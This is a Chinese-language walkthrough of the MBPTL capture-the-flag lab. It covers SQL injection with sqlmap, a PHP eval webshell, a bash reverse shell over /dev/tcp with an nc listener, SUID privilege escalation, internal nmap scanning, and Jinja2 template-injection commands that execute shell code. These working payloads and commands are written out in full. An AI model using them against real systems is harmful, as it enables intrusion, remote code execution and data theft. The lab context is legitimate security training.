前言
学校社团的师兄用自己的服务器开了一个靶场,让我们玩玩()
这是一个在github上的开源项目,可以自行下载测试
[https://github.com/bayufedra/MBPTL]()
1
打开 F12 检查html注释MBPTL-1{bf094c0b92d13d593cbff56b3c57ad4d}
2
抓个包在http头里面找到MBPTL-2{10e0daf1aefdfa42ba53f1d03dc3b7da}
3
使用nmap工具扫到一个对公网开放的8080端口
访问一下MBPTL-3{f74dc48447423d67699b233c461227a4}
4
dirsearch扫描 疑似扫到了后台
访问一下MBPTL-4{eb75482e45154917d44882e0c4a8e68f}
5
这里应该有sql注入 试一下
http://ip地址/detail.php?id=1'
MBPTL-5{4bcce60b74914398c04eb5b546995408}
6
对这个sql注入点跑个sqlmap,我们获得了MBPTL-6{9fce407640f5425f688c98039bc67ee6}
还有了一对账号密码
admin
P@ssw0rd!
7
联想到刚刚8080端口的后台 正好用这对账号密码登录一下MBPTL-7{e77ac27271c6e54470db47228b9eca09}
8
这里可以上传文件 我们可以试试能不能上传一个webshell
<?php @eval($_POST['ant']);?>找到上传之后的路径
在蚁剑连接上
找到了MBPTL-8{e284ebd7a0008f5f3a5ca02cc3e4764b}
我们发现还有一个root.txt文件,但是我们此时是打不开的
需要搞个反弹shell 提权
9
写一个反弹shell
<?php system('bash -c "bash -i >& /dev/tcp/本机ip/5555 0>&1"'); ?>用蚁剑上传 然后找到路径运行
在自己的机器上
nc -lvnp 5555成功连接
用
find / -perm -4000 -type f 2>/dev/null查找是否有可利用的suid二进制文件
/usr/bin/bahs 看起来很可疑
/usr/bin/bahs这样我们就获得了root权限MBPTL-9{74ac6fef30abfc98e8532548b9742050}
10
查看一下apache的日志(直接看太长了,加个head -10只看前10行)
head -10 /var/log/apache2/access.logMBPTL-10{c1835d7d28a5394b38cfbf6f813a1553}
11
查看一下root用户的bash日志
head -10 /root/.bash_historyMBPTL-10{c1835d7d28a5394b38cfbf6f813a1553}
12
看一下root的bash配置文件
cat /root/.bashrc
最后面找到MBPTL-12{a475806f05e0416bcd8cde2d02dfde95}
13
此时我们准备进行内网横向移动 神奇的事发生了 ip都用不了 只能自己再装一个 这玩意一般不都是预装的吗? 估计是被先进来的人删掉了? 😡(我用完也要删了)
apt install iproute2
ip addr show
准备扫内网 结果nmap也没有?🤔😡
apt install nmap
nmap -sn 172.21.0.2/16结果
Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-28 08:03 UTC
Nmap scan report for iZ8ps5ipssn6z7x9ywng0rZ (172.21.0.1)
Host is up (0.0000060s latency).
MAC Address: 52:6B:13:AE:C7:D5 (Unknown)
Nmap scan report for mbptl-app.mbptl_default (172.21.0.3)
Host is up (0.000019s latency).
MAC Address: 86:85:F2:CC:83:E5 (Unknown)
Nmap scan report for mbptl-internal.mbptl_default (172.21.0.4)
Host is up (0.000029s latency).
MAC Address: A2:3D:64:D8:67:6F (Unknown)
Nmap scan report for 3312842b6944 (172.21.0.2)
Host is up.对发现的这两个主机进行端口扫描
nmap -p- mbptl-app
Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-28 08:53 UTC
Nmap scan report for mbptl-app (172.21.0.3)
Host is up (0.0000080s latency).
rDNS record for 172.21.0.3: mbptl-app.mbptl_default
Not shown: 65534 closed ports
PORT STATE SERVICE
5000/tcp open upnp
MAC Address: 86:85:F2:CC:83:E5 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 11.19 seconds
------------------------------------------------------------------
nmap -p- mbptl-internal
Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-28 08:55 UTC
Nmap scan report for mbptl-internal (172.21.0.4)
Host is up (0.0000070s latency).
rDNS record for 172.21.0.4: mbptl-internal.mbptl_default
Not shown: 65534 closed ports
PORT STATE SERVICE
31337/tcp open Elite
MAC Address: A2:3D:64:D8:67:6F (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 11.01 seconds在内部 访问 mbptl-app
curl http://mbptl-app:5000/
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 301 100 301 0 0 14333 0 --:--:-- --:--:-- --:--:-- 14333
<html>
<head>
<title>MBPTL - Internal Web Service</title>
</head>
<body>
<center>
<h1><b>MBPTL - Internal Web Service</b></h1>
</center>
<p>Hello, World! (/?name=)</p>
<p>MBPTL-13{b20c7cd75fd17802261d0725ae2eb733}</p>
</body>
</html>获得了MBPTL-13{b20c7cd75fd17802261d0725ae2eb733并且/?name=这个地方应该有漏洞
14
测试
curl "http://mbptl-app:5000/?name={{7*7}}"
curl: (3) nested brace in URL position 30:
http://mbptl-app:5000/?name={{7*7}}😡💔
对特殊字符进行编码绕过
curl "http://mbptl-app:5000/?name=%7B%7B7*7%7D%7D"
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 287 100 287 0 0 8696 0 --:--:-- --:--:-- --:--:-- 8696
<html>
<head>
<title>MBPTL - Internal Web Service</title>
</head>
<body>
<center>
<h1><b>MBPTL - Internal Web Service</b></h1>
</center>
<p>Hello, 49</p>
<p>MBPTL-13{b20c7cd75fd17802261d0725ae2eb733}</p>
</body>
</html>把curl "http://mbptl-app:5000/?name={{request.application.__globals__.__builtins__.__import__('os').popen('cat+/flag.txt').read()}}"
把里面的花括号进行url编码
curl "http://mbptl-app:5000/?name=%7B%7Brequest.application.__globals__.__builtins__.__import__('os').popen('cat+/flag.txt').read()%7D%7D"
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 327 100 327 0 0 5736 0 --:--:-- --:--:-- --:--:-- 5736
<html>
<head>
<title>MBPTL - Internal Web Service</title>
</head>
<body>
<center>
<h1><b>MBPTL - Internal Web Service</b></h1>
</center>
<p>Hello, MBPTL-14{c64184222cff6005e728bbfc2a672fe4}</p>
<p>MBPTL-13{b20c7cd75fd17802261d0725ae2eb733}</p>
</body>
</html>获得MBPTL-14{c64184222cff6005e728bbfc2a672fe4}
总结
后面的是有关pwn和reverse的 我看着官方md走了一遍 就不自己写了
apt remove iproute2 && apt remove nmap😡
这个靶场还是很简单的,把真实渗透的所有流程都大致走了一遍🤯


















